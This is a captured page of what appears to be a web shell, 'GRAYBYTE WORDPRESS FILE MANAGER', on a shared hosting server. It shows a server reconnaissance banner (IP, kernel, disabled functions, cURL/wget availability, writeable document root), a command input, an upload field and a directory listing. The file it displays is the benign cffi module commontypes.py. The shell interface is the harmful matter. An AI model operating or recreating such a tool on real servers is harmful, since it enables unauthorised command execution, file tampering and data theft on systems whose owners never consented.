GRAYBYTE WORDPRESS FILE MANAGER8470

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib64/python3.6/site-packages/cffi/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib64/python3.6/site-packages/cffi//commontypes.py
import sys
from . import model
from .error import FFIError


COMMON_TYPES = {}

try:
    # fetch "bool" and all simple Windows types
    from _cffi_backend import _get_common_types
    _get_common_types(COMMON_TYPES)
except ImportError:
    pass

COMMON_TYPES['FILE'] = model.unknown_type('FILE', '_IO_FILE')
COMMON_TYPES['bool'] = '_Bool'    # in case we got ImportError above

for _type in model.PrimitiveType.ALL_PRIMITIVE_TYPES:
    if _type.endswith('_t'):
        COMMON_TYPES[_type] = _type
del _type

_CACHE = {}

def resolve_common_type(parser, commontype):
    try:
        return _CACHE[commontype]
    except KeyError:
        cdecl = COMMON_TYPES.get(commontype, commontype)
        if not isinstance(cdecl, str):
            result, quals = cdecl, 0    # cdecl is already a BaseType
        elif cdecl in model.PrimitiveType.ALL_PRIMITIVE_TYPES:
            result, quals = model.PrimitiveType(cdecl), 0
        elif cdecl == 'set-unicode-needed':
            raise FFIError("The Windows type %r is only available after "
                           "you call ffi.set_unicode()" % (commontype,))
        else:
            if commontype == cdecl:
                raise FFIError(
                    "Unsupported type: %r.  Please look at "
        "http://cffi.readthedocs.io/en/latest/cdef.html#ffi-cdef-limitations "
                    "and file an issue if you think this type should really "
                    "be supported." % (commontype,))
            result, quals = parser.parse_type_and_quals(cdecl)   # recursive

        assert isinstance(result, model.BaseTypeByIdentity)
        _CACHE[commontype] = result, quals
        return result, quals


# ____________________________________________________________
# extra types for Windows (most of them are in commontypes.c)


def win_common_types():
    return {
        "UNICODE_STRING": model.StructType(
            "_UNICODE_STRING",
            ["Length",
             "MaximumLength",
             "Buffer"],
            [model.PrimitiveType("unsigned short"),
             model.PrimitiveType("unsigned short"),
             model.PointerType(model.PrimitiveType("wchar_t"))],
            [-1, -1, -1]),
        "PUNICODE_STRING": "UNICODE_STRING *",
        "PCUNICODE_STRING": "const UNICODE_STRING *",

        "TBYTE": "set-unicode-needed",
        "TCHAR": "set-unicode-needed",
        "LPCTSTR": "set-unicode-needed",
        "PCTSTR": "set-unicode-needed",
        "LPTSTR": "set-unicode-needed",
        "PTSTR": "set-unicode-needed",
        "PTBYTE": "set-unicode-needed",
        "PTCHAR": "set-unicode-needed",
        }

if sys.platform == 'win32':
    COMMON_TYPES.update(win_common_types())

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 16:48:16
root / root
0755
__pycache__
--
March 03 2024 19:12:32
root / root
0755
__init__.py
0.468 KB
February 27 2018 18:15:41
root / root
0644
_cffi_errors.h
3.715 KB
February 27 2018 18:15:41
root / root
0644
_cffi_include.h
11.864 KB
February 27 2018 18:15:41
root / root
0644
_embedding.h
15.654 KB
February 27 2018 18:15:41
root / root
0644
api.py
39.72 KB
October 14 2023 23:41:04
root / root
0644
backend_ctypes.py
41.1 KB
February 27 2018 18:15:41
root / root
0644
cffi_opcode.py
5.59 KB
February 27 2018 18:15:41
root / root
0644
commontypes.py
2.626 KB
February 27 2018 18:15:41
root / root
0644
cparser.py
38.33 KB
February 27 2018 18:15:41
root / root
0644
error.py
0.65 KB
February 27 2018 18:15:41
root / root
0644
ffiplatform.py
3.951 KB
February 27 2018 18:15:41
root / root
0644
lock.py
0.729 KB
February 27 2018 18:15:41
root / root
0644
model.py
21.047 KB
February 27 2018 18:15:41
root / root
0644
parse_c_type.h
5.836 KB
February 27 2018 18:15:41
root / root
0644
recompiler.py
61.926 KB
February 27 2018 18:15:41
root / root
0644
setuptools_ext.py
8.006 KB
February 27 2018 18:15:41
root / root
0644
vengine_cpy.py
40.498 KB
February 27 2018 18:15:41
root / root
0644
vengine_gen.py
26.051 KB
February 27 2018 18:15:41
root / root
0644
verifier.py
10.944 KB
February 27 2018 18:15:41
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF